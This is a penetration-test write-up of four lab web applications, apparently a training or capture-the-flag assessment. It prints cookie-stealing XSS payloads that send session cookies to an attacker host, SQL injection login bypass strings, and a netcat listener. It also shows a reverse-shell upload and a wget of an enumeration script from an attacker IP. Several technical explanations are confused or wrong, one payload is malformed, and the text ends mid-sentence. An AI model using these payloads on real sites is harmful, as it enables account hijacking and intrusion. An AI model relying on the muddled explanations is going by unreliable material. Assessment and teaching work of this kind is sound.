[redacted] ***PENETRATION TEST***

[redacted] Web Applications

Penetration Test Analysis

Services provided to: [redacted]

Version – v1.0

Web Application

[redacted]

IV. [redacted]

Candidate Name: Jin Mok

Version Date: v1.0 - October 19th, 2020

CONFIDENTIALITY

The Recipient agrees not to use the Confidential Information for any purpose other than that set forth in Section 1 of this Agreement. The Recipient will not disclose any Confidential Information to third parties except those directors, officers, employees, consultants and agents of Recipient who are required to have the information in order to carry out the purpose set forth in Section 1 of this Agreement. Recipient has had or will have directors, officers, employees, consultants and agents of Recipient to whom Confidential Information is disclosed or who have access to Confidential Information sign a Non-Disclosure Agreement in content substantially similar to this Agreement and will promptly notify the Discloser in writing of the names of each such person who has signed such agreements after such agreements are signed. Recipient agrees that it will take all reasonable measures to protect the secrecy of and avoid disclosure or use of Confidential Information in order to prevent it from falling into the public domain or the possession of persons other than those persons authorized hereunder to have any such information, which measures shall include the highest degree of care that Recipient utilizes to protect its own Confidential Information of a similar nature. Recipient agrees to notify the Discloser in writing of any misuse or misappropriation of such Confidential Information which may come to its attention.

DISCLAIMER

Recipient agrees that its obligations hereunder are necessary and reasonable in order to protect the Discloser and its business, and expressly agrees that monetary damages would be inadequate to compensate the Discloser for any breach of any covenants and agreements set forth herein. Accordingly, Recipient agrees and acknowledges that any such violation or threatened violation will cause irreparable injury to the Discloser and that, in addition to any other remedies that may be available, in law, in equity or otherwise, the Discloser shall be entitled to obtain injunctive relief against the threatened breach of this Agreement or the continuation of any such breach, without the necessity of proving actual damages.

Table of Contents

CONFIDENTIALITY **2**
DISCLOSURE **2**
Table of Contents **3**
Assessment Overview **4**
Severity Ratings **5**
Scope **5**
Web Application: [redacted] Web Exploitation **6**
Web Application: [redacted] **10**
Web Application: [redacted] **12**
Web Application: [redacted] **16**

[redacted] ***PENETRATION TEST***

Assessment Overview

As a part of [redacted] the web applications was done in between September 18th to September 25th of year 2020. During the seven days of reconnaissance, enumerations, known vulnerabilities to gain initial foothold, exploitation processes and post-exploitations if successfully gained all the flags hidden within the servers. Each type of server was running different types of webservers using Apache 2.4.18 on Operating System Linux Ubuntu version 4.2.1. There were four web applications tested for any unknown and known vulnerabilities and were able to successfully gain full access to three of the web applications servers. Testing for Cross Site Scripting (XSS) and Cross-Site-Request-Forgery (CSRF), one with malicious intent is able to embed broken image script and more endangering of all, persistent XSS. In order to summarize the [redacted] and [redacted], both web application server had SQL injection vulnerability, but most of the inputs were sanitized and filtered by the web server. However, CSRF and persistent XSS were not filtered nor sanitized because the extension /messageboard.php and /view.php could be read and can embed javascript to steal cookie of specific user as well as administrator's cookie to exploit the session fixation vulnerability through session hijacking. Utilizing the known vulnerabilities for the unpatched web servers for XSRF and XSS with Session Fixation for servers [redacted] and [redacted], admin session cookie were leaked and was able to trigger and leak PHPSESSID and admin session ID cookies. [redacted] web application had many of critical vulnerabilities that can be exploited, even though the firewall and sanitization of the login input was present, some special characters can and was used to bypass to a default user account through manual SQL injection, [redacted]. Through this lack of server side validation of login page and additional information that http://ip-address/robots.txt have provided the first flag and able to traverse into main domain. Without enumeration, one may not know that ip-address of '[redacted] extension of the url was valid. To summarize the critical vulnerabilities found was that [redacted] & [redacted] web application server platform has cookie-based-authentication, which does not get validated thoroughly by the server side, thus leading to session hijacking and admin session and cookie forgery to give malicious actor to administrator's account. But also, as for [redacted], manual SQL injection through the login page and no Multi-factor authentication, account lock-out led to successful exploitation of manual SQL injection through login form page. Lastly, the web application server for [redacted] uses a database with JSON database queries that anyone can

request specific user and exposes the data that are related to the specific user. The bug findings for [redacted] were found through enumeration and enumeration and capturing every requests that the client made to the server via Burpsuite, which provides the tool for the malicious actor to capture and view each and every single requests made to the server with proxy through localhost. This enables malicious actor to see in plaintext of what and how the server responds to specific request that are being made to the server by the client. All web applications core utility was Burpsuite and Skipfish, where Burpsuite was able to repeat and manipulate by capturing the request and being able to input nefarious payload or redirecting url to the server, skipfish was vulnerability scanner just as openvas and enumeration tool. Hence, the web application servers all vulnerable by proof of concept were successfully exploited through known the vulnerabilities.

Severity Ratings

All of the vulnerabilities are rated from low, medium, high, urgent and scored from 1-10 by the level of damage that malicious actor can perform to the web applications. 1 being the lowest and 10 being the highest, different attack vectors and vulnerabilities are scored and rated through known vulnerability, but unsuccessful attempt to exploit and/or known vulnerability with successful exploitation with the severity rating to see how detrimental unpatched web application can lead to not only PII being leaked, but also being used as command and control server that may infect other hosts who may visit specific page on the web server with persistent cross-site-script leaking information, and to be used for malicious intent that can well be beyond one's imagination.

Scope

The main scope of this penetration test of the web application servers were to examine specific type of server that was running, i.e., PHP, html, asp and the platform that the servers were running on, such as apache 2.4.18 and nginx 1.14.0. Ajax and jQuery were mainly the communicator for javascript to be decoded and executed without being compiled and decoded for code communication purposes, it poses severe vulnerabilities as these tools can be manipulated to do malicious behavior against the web application developers purposes. Denial of Service attacks, DoS, and/or any attempts to deface the web application is out of scope of this penetration test.

[redacted] ***PENETRATION TEST***

Web Application: [redacted] *Web Exploitation* [redacted]

Initial analysis of this web server reveals that this website is titled, "[redacted]. As it also states that '[redacted] <NEWS> "[redacted]" Given the nature of this web application, this is a blog forum that the hackers 'hang out'. First, we would like to check out what this web application does and the purpose of this web application in order to seek any known vulnerabilities with initial reconnaissance. Passive reconnaissance to not trigger any Intrusion Detection/Prevention System and alerting the administrator of any signs of a cyber security professional poking around on their web server, simply to browse to any directories that are displayed. Also, checking out their source code, there are five hyperlinks that anyone can view and see more information about the purpose and how the web application is structured.

[/login.php /register.php /index.php /messageboard.php /profile.php]

It is still the initial passive reconnaissance so in order to see the type of the server, what the server is running on, i.e., Apache2.x.x, Nginx, MySQL, LDAP. Through inspection of the web application through the inspector tool on the browser, one can conclude that the web application is running Apache 2.4.18 on Ubuntu operating system. This Apache 2.4.18 has many known vulnerabilities to date, among these vulnerabilities, Denial of Service is ranked as top vulnerabilities found on this specific version of Apache server, however, Denial of Service is not in line with the scope of the testing which should be ignored for now. By doing simple google research about Apache server vulnerability types, ranked number two is Execution Code, in most cases would be RCE, Remote Code Execution, which allows the attacker to either remotely trigger any code that either has benign or malignant intent will run as a top super user, root. Ranked third for the Apache server is XSS, Cross-Site-Scripting. As XSS can be tested by simply embedding HTML snippet, for example, <script>alert('Vulnerable2xss')</script>, embedding this <script>….</script> and once the blog posting has been posted, anyone who browses to the messageboard will be alerted by a pop-up *Vulnerable2xss*. This deduces that the web application does not sanitize any user input on the web application message board's blog postings. This is a simple test that can be ran to test if there are any restriction or any inputs that are filtered by the server side. The security measure that was put in place for this web application does sanitize the

input, however, it does not thoroughly inspect all the possibilities that can be done with cross site scripting. When cross-site-scripting, simple alert('xss') with script tags were embedded within the message, there is a hidden page that checks in the user input by /sign.php. Presumption is that /sign.php is where the input by any user are validated on the server side to check for any malicious contents. It simply responses to <script>alert('xss')</script> by displaying "ERROR". The directory /sign.php from the client side perspective, it sends POST request, which simply tells the server to 'It is all systems go, please put this on your server', however, this simple script tag was sanitized by the /sign.php directory. Next is to check if there are anything useful in the page source code, and within the source code of the page, the function uri.QueryInterfae(Ci.nsIFileURL): there are two lines of comment that states: "//We can't detect the contentType without opening a channel, // and that failed already. This is the best we can do here." Which is interesting to read from the source code on the server side. It is peculiar to be able to read visible comments that will reveal any security flaws that the administrator cannot detect. This will lead to utilizing jQuery and Javascript as first main attack vector which cannot be foreseen to which vulnerability that can be exploited successfully. As the main IP address to /index.php have stated that there is statement on the web application that 'We have an admin now!" hints that there is an administrator and our next attack vector will be focused on how someone with malicious intent will be able to gain not only guest or user level access to the web application, but also to gain access to administrator due to not being able to check on the contentType unless administrator opens a channel (tunnel or browse) to the actual blog posts. This creates an environment for a Persistent Cross-Site-Script that would allow an attacker to embed either a payload or query for the resource that was embedded that is out of the web application's IP address. This is redirection through persistent cross-site-script and this is usually done in order to steal tokens or other users or administrators cookie. Cookie is known to be an authentication for specific user for specific session, if cookie was validated in-depth. Without any server-side cookie validation, there is no methodology to distinguish between the attacker and the administrator. Now, we can actively do reconnaissance by port scanning for any open ports using Nmap, running Nikto, gobuster, dirb and skipfish to find any more hidden directories that can be enumerated or that can be found with either 401 error message that tells the attacker that the page that they have fuzzed to see if they have gotten any response, will immediately know that the specific directory that they have enumerated exists due to 401 or 302/301 error. 302 will allow additional directory to be enumerated and directory traversing is

allowed, however, if 401 error message is shown by the web server, it should not grant any access nor it shall not reveal any more information that may aid the attacker for a new attack vector. Since 401 error is Unauthorized Access, that does prove that the directory exists and by simply gaining access to administrator level access, the attacker should be able to have authentication to view the directories that they were previously denied due to no authentication as administrator. This can be bypassed in several different method for PHP server on Apache 2.4.18 server ranked to be top three. SQL Injection, LFI (Local File Inclusion)/RCE (Remote Code Execution/Code Execution) and Cross-Site-Script (XSS). Now that there are several attack vectors that can be used to exploit the vulnerability that this web application has shown, from the blog that any guests and users can post comments on the message board. Through this accessible blog that anyone can post plaintext as it was the core purpose to exchange message between users of the [redacted] database, one may be able to escape or bypass the input validation done by /sign.php through POST request with embedded cross-site-scripting with using the Javascript function of document.cookie, document.write, document.location, <img.src= > as a broken image or gaining access or also known as session hijacking or cookie hijacking for other users and as an administrator. By testing the function of document.write or document.cookie with <script>alert(document.cookie)</script>, the server-side does not validate the input as it was done with <script>alert('xss')</script> was sanitized. Once embedded script with alert(document.cookie) script tags, every time anyone visits the message board will be alerted with their own PHPSESSID, which is also equal value to cookie value. As tested with the alert(document.cookie) function has alerted the cookie value of the client, this cross-site-script can be used to redirect cookie values of anyone who visits this blog by utilizing either python SimpleHTTPServer or PHP server by utilizing these syntaxes.

root@kali: php -S 172.30.13.250:9090 <= this will start a php server on a localhost, on port 9090.

root@kali: python -m SimpleHTTPServer 9090 <= this will start a python's http server on port 9090.

Either one will work in this scenario as the redirect of the session of any users and administrator to bleed out the values of the cookie to be written on the attackers IP address and port that php or SimpleHTTPServer have started. Utilizing the syntax and function of document.cookie and Image()

<script src=http://[redacted]/javascript/jquery/jquery/ ;></script>

<script>images= new Image();

images.src="http://[redacted]0/cookiestealer.php?cookie="+document.cookie;</script>

By inspecting this persistent cross-site-script with automatic redirect when anyone visits that blog post, this script will automatically execute and thus server-side-input-validation does not sanitize user inputs thoroughly. By chaining redirection with cross-site-script, also utilizing javascript and jQuery to embed and hide this payload to automatically execute and on the attackers terminal, attacker can see that the administrator or certain user has visited the message board by confirming the source IP address and the cookie values. Burpsuite uses localhost, in this scenario openvpn connection, as a proxy to capture any GET or POST requests being made by the client. Once attacker has response from the server that the redirect through cross-site-script is bleeding out cookies of users and administrator visiting the message board, attacker will know right away. Due to SQL Database, Structured Query Language Database, and how it is structured, the redirect of the document.cookie function calls out for the cookie of the username that the cookie is referenced in respect to, thus the next problem will be to find out who the administrator is. There is a blog post from a username 'admin', however, it cannot be 100% proven that the said 'admin' is the actual administrator. Thus, attacker can use the usernames in order to determine the administrator, the javascript/jquery redirect can be used for all of the users to determine which username will leak

PHPSESSID=[cookie_value]&adminsessid=[admin_session_cookie] will be bled out to our actively running server. *Refer to Figure 1*

Hence, once administrator sessionID has been leaked and shown, we can now use administrator's PHP session ID and admin session ID through burpsuite to capture the request, and replacing the attacker's PHPSESSID=[attacker_cookie] with the administrator's PHPSESSID=[value]&adminsessID=[value] and forward the request to the browser will trick the browser to provide the attacker with the administrator level access to web application. This web application has the vulnerability to not sanitize all the input that the guest or any users post, exploiting this vulnerability through cross-site-script with broken image to redirect where to write the value of the cookie of the specific username and replacing the attackers cookie with

administrator's cookie value will bypass the server-side-cookie-validation and provide the attacker with administrator level access to the web server. XSRF is cross-site-request-forgery, as Burpsuite captured the requests by the client, forging that request with the administrator's cookie values will be forging the original GET/POST request by the attacker and server will not validate any further, therefore, this is a successful exploitation of chaining multiple attack vectors to gain administrative access.

SEVERE	Document.cookie function redirect through XSS. (9/10)
MODERATE	XSRF of administrator's session ID/cookie. (4/10)
LOW	SQL injection (1.5/10)
INFORMATIVE	Need to prevent session-fixation through session hijacking.

[redacted]

Web Application: [redacted]

The second task of set of challenges that were provided for web applications include [redacted], which has same base platform of the Apache 2.4.18 Ubuntu OS, however, /register.php was under the construction during [redacted]. However, now that the administrator has finished developing /register.php, now the administrator can register new users in the [redacted] [redacted] web application forum. In addition to directories that were not visible in the previous version of the [redacted] [redacted] forum, the administrator has created admin.php and register.php. Updated forum, it states from index.php, 'Admins, you can now register new users.' So, there are multiple admins or one admin. In order to determine that, initial reconnaissance were done as same as the [redacted], There are also additional comments on the message board from guest or accounts that were made by administrator and the user [redacted] has posted in plaintext regarding how to gain administrator level access to this web application server. Stating, '…if you say your crushes name 3 times, then post this message on three more message boards…' this can be translated to use the known exploited vulnerability previously, document.cookie, however, now this time, attacker will need to post at

least 3 times with the username. Automatically redirecting and embedding cross-site-scripts with redirects that will leak to our local PHP server, when Burpsuite captures the requests on message board, it will constantly be receiving same cookie except once it was posted 3 times minimum, and browse to other directory and attacker will be awaiting for the bait to bite. '3 times can mean that the administrator can be checking the message board every 3 minutes, because the pattern that the attacker will be seeing is that the server-side will constantly bleed out cookies every three minutes. It will leak attacker's cookie as well as any other user who visits the page. Since, posting the username three times, it should be clear to the attacker that the administrator's cookie is different than the one that attacker originally has had. There are several attack vectors that can be tried with this web application. Attacker can capture handful of cookies or PHPSESSID and using Burpsuite sequencer and intruder to match admin cookies, but this is a long process that would take much more time than simply comparing the cookie values and looking for specific cookie that repeated for three times and the cookie that was leaked after posting redirected javascript with persistent cross-site-script. Once attacker has determined that the administrator cookie has been found, which can be leaked through manual SQL injection on /view.php?id=['sqlinjection value] as well. After attacker determines the administrator's cookie/PHPSESSID, attacker may open a new browser and request a new session with the web application server with new cookie/PHPSESSID. Now that attacker has been provided with the administrator's cookie/PHPSESSID, this vulnerability of session fixation through session/cookie hijacking becomes even simpler. Next step will be to utilize the new session, capture the request, and examine the PHPSESSID. This PHPSESSID can be replaced within the attacker's browser, in the cookie storage. By replacing the cookie value with the administrator's cookie that has been leaked attacker's redirected PHP server, and simply refreshing the page will generate new session as administrator by distorting the server-side-cookie-validation which will now give administrator's session access to attacker's browser. This embedded script with broken image, or even

<iframe>....</iframe> or
<script src="http://victim-IP/javascript/jquery/jquery/"
onload="document.write(""http://attacker-
IP:Port/adminCookie.php?cookie= "+document.cookie';</script>

[redacted] ***PENETRATION TEST***

This sceneario is where document.write and document.location can be used to redirect the proper administrator's cookie to be leaked through redirection. There are no need to capture the requests and forging the request, although it does work with forging the request as well, mimicking via stored cookie values within the browser itself on a separate browser will provide the attacker with administrator access.

Chaining exploits and redirects and payload to gain PHP reverse shell through eval function or PHP GET function, or PHP EXEC_('command') with the admincookie.php will spawn a reverse shell on the terminal with netcat listener. With proper payload and one liner for php-reverse-shell from HighOnCoffee or Github for PHP Reverse Shell One liner. This web application lacks sanitization of guest and user's manual input through stored cached cookies that should be validated server-side.

SEVERE	Document.cookie/document.write/document.location function redirect through XSS. (9/10)
MODERATE	Cached cookies manipulation (7/10)
MODERATE	Session-fixation through session hijacking (7/10)
LOW	Login brute force – This can be done, but needs gigantic amount of time (1/10)
INFORMATIVE	Need to clear cached cache and cookies when sessions are closed through server-side-cookie-validation.

[redacted]

Web Application: [redacted]

The basic information about this web application server is that the IP address that was provided will tell you to "[redacted]". Please do not just go away, but to enumerate and actively scan for any hints. Port scanning with nmap will reveal extension /robots.txt through -A option or simply writing full script for nmap.

root@kali: nmap -A -sC -sV -sT -T4 -v -O Victim-IP -p-

root@kali: nikto -h Victim-IP -C all

root@kali: skipfish -o ./hooked http://victim-ip

root@kali: gobuster dir -u http://victim-ip/gigantic/ -w /usr/share/wordlist/seclist/Apache.txt

root@kali: dirb http://victim-ip/

root@kali: python -m SimpleHTTPServer 9090 *root@kali: nc -lvnp 1337*

This will scan scan for open TCP ports, Versions, script scan and scan all ports up to, 65535. On port 80, attacker can see that the first flag is posted within the extension /robots.txt. Usually, /robots.txt will be used to maintain access control for directories that should not be allowed by anyone who browses to the IP address and enumerates for any hidden directories. Within the /robots.txt, it reveals extension IP-Address/gigantic and once attacker visits IP-Address/gigantic, attacker will have access to the login page, news page and home page. Out of the four flags that are hidden within this web application, first flag was found through basic enumeration and port scan. Only page that attacker can look for known vulnerabilities have been patched and attacker is faced with a firewall. This is deduced by traceroute and hops that it took for the port scan, it reveals that it has a firewall or layered security to sanitize any malicious input. However, MFA or account lockout is not available which narrows down the attack vector down to manual SQL injection. Manual SQL injection is where a true statement will bypass the login form page, but have to be manually inputted or using list of payload of SQL injection parameters to see which SQL query will give code 200 (Access Authorized) to bypass the login page. Guests and normal users are not able to create new admin users, only administrator can create new user.
One of the true statement for SQL query statement of 1-- -‘ or 1 or ’ is true statement where this will bypass the login page and will be logged in as username [redacted]. This manual SQL injection is constantly exploited due to automated SQL injection through either sqlninja or sqlmap will not work due to WAF (Web Application Firewall) or a security measure that successfully blocked SQL injection through sqlmap. Thus, only utilizing the manual SQL injection statement will bypass the login page and will be logged in as normal user. The second flag can be found on Profile page and other directories as well. However, after browsing through forum, each username redirects the attacker to their blog ‘wall posting’ at http://victim-ip/gigantic/profile.php?id=[number]. All of the profile can be viewed from ID ranging from 1-

61. Browsing through profiles through manually injecting profile number into id=[x] on x, one user profile shows ADMIN not the normal Member since: Date Time. In this particular case, Minizer was the ADMIN. Attacker than know the username of the administrator, thus giving more information to the attacker to use to gain administrator access. [redacted] is not an admin account, thus, cannot create administrator user. But as it was stated previously, manual SQL injection statement, Minizer' -- - simply will bypass the login page as administrator. Hence, so far two out of four flags were found, but since admin panel has been accessed through SQL injection, attacker then now browse to 'admin panel' where the attacker can upload any type of file. As regular user, attacker would not be able to access the admin panel, however, bypassing the WAF through manual SQL injection as admin's username, this bypasses not only the login page. Attacker may use a photo or any type of file, inject PHP reverse-shell payload, which will spawn a reverse shell. After successfully uploading full-scaled php-reverse-shell, from the admin panel, attacker can open a new tab while listening on port 1337 and once uploaded file is browsed to, netcat listener will spawn a connection to their web shell as www-data.

www-data@ubuntu: cd tmp && wget http://attacker-IP:9090/LinEnum.sh
www-data@ubuntu:/tmp$ chmod +x /tmp/LinEnum.sh && ./LinEnum.sh
www-data@ubuntu:/tmp$ gcc exploit.c -o pwn
www-data@ubuntu:/tmp$ chmod +x pwn && ./pwn

The well known vulnerability and the exploit that has worked with the unpatched version for LinuxKernel Local Privilege Escalation does not successfully exploits, however, as all the flags were stored in the /var/www extension, poking around different directories, the txt files are peculiarly interesting as the file name reflects directly to *flag_{file_name}*. Hence, with the process of elimination, the third and fourth flags were retrieved, and no further post-exploitation were attempted as it was well beyond the scope of this challenge. Ubuntu 4.4.0 kernel has Linux kernel local privilege escalation exploitation vulnerability, and this was attempted to check to see if the known vulnerabilities could have been successfully exploited. As a proof of concept, executing the exploit, and returned no successful attempt. In addition, reflected and persistent cross-site-scripting with javascript/jQuery redirects are vulnerable on this web application as well, but was unsuccessful exploitation. Also, there is another vulnerability that has not been

discussed so far for this web application, but php_exec([‘cmd’]), php_eval([‘cmd’]), php_GET([‘cmd’]) can be used, but would need to be chained to multiple exploits for successful reverse shell. In a nutshell, this web application server covered from basic to medium level of understanding of how and why /robots.txt are so important, active reconnaissance, directory enumeration, manual SQL injection, php-reverse-shell and securing shell to enumerate for any vulnerable files or scripts or tasks for local privilege escalation were covered.

SEVERE	Document.cookie/document.write/document.location function redirect through XSS. (9/10)
MODERATE	Cached cookies manipulation (7/10)
MODERATE	Session-fixation through session hijacking (7/10)
LOW	Login brute force – This can be done, but needs gigantic amount of time (1/10)
INFORMATIVE	Layered security, defense in depth through UTM, WAF, MFA, 2-Factor Authentication, Account Lockout, can be used to mitigate for any successful login bypass to regular user and as admin.

[redacted]

Web Application: [redacted]

As all other web applications that were tested, previous web application servers were running on Apache 2.4.18 Ubuntu 4.4.0 kernel and used persistent cross-site-script, manual SQL injection, javascript redirect, document.cookie/document.write/document.location function calls with CSRF, enumerations for directory or any subdomains, session fixation through session&cookie hijacking, broken javascript tag redirect through XSS, PHP reverse shell and exploitation attempts made for the known vulnerabilities and exploits as proof of concept that it contains vulnerable application, but as for the specific server type, platform and operating system kernel version vulnerabilities were tested and it was unsuccessful. This web application is a malware checker, where it will use an API, Application Programming Interface, which interacts in between software intermediaries and able to call and handle requests. The mission detail of this web application is to be able to create an API module for the client to upload their files and be able to check if the file is malignant or benign from the page source. This web application server was running on Nginx 1.14.0 and using v1 for API call functions. All the clients information are disclosed when called through manually submitting in the URL request, and it will return JSON array. As mission detail has stated that this is a web application which contains a bug and finding the malware. The main tool that was used to find the malware was gobuster, dirbuster and Burpsuite. Performed much more with gobuster due to the speed difference between gobuster and dirb is significant, and by looking at the HTTP GET request that were captured through proxy and Burpsuite, the URL that were found by gobuster directory listing, the escape characters were listed and through Burpsuite's HTTP GET request that was sent over, there were pattern of plaintext that was not URL encoded which gave Status 200. During the testing session, the URL requested that was captured by Burpsuite proxy leaked Status 200 with parameter injectable. One of the GET request was /?uas-Operat/9.70%!((MISSING))Linux…. And (MISSING) with Status 200 all contained (MISSING) in plaintext in the URL encoded in the Burpsuite proxy. Thus, the malware within the web application was consistently requesting for this specific parameter, as an injection vector to cURL or GET requests were made. By rendering the response, it does look similar to the default page, however, as a cybersecurity professional opinion, there is a JSON query injection vector found within the HTTP GET request and response shows that the malware scanner did have the bug within the web application, which is named (MISSING). By hashing this value, *root@kali: echo -n 'MISSING' | md5sum*, the value

of the [redacted] that we found was [redacted] his web application has not been submitted, however, the successful